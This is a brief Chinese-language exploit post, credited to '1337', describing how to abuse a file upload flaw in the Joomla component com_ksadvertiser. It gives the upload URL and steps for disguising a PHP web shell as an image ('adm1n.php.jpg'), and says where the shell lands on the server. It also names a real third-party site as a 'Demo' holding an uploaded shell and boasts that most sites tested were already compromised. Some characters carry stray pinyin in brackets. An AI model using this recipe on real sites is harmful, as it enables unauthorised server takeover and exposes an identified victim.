作者：1337

    1. 有些joomal需要先注冊(cè).

    http://site/index.php?option=com_user&view=login

    2. 到上傳地址

    http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en

    3. 點(diǎn)擊image后點(diǎn)擊upload,選擇shell, 將shell重名為adm1n.php.jpg格式.

    4. 上傳后的文件在 / images/ksadvertiser/U0 這個(gè)目錄下.

    http://site/images/ksadvertiser/U0/adm1n.php.gif

    Demo: http://alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif

    我隨便測(cè)試了一下, 基本都被搞了. 瘋狂的人們啊, 這今天剛出的漏洞就成這樣了… 1337V5啊.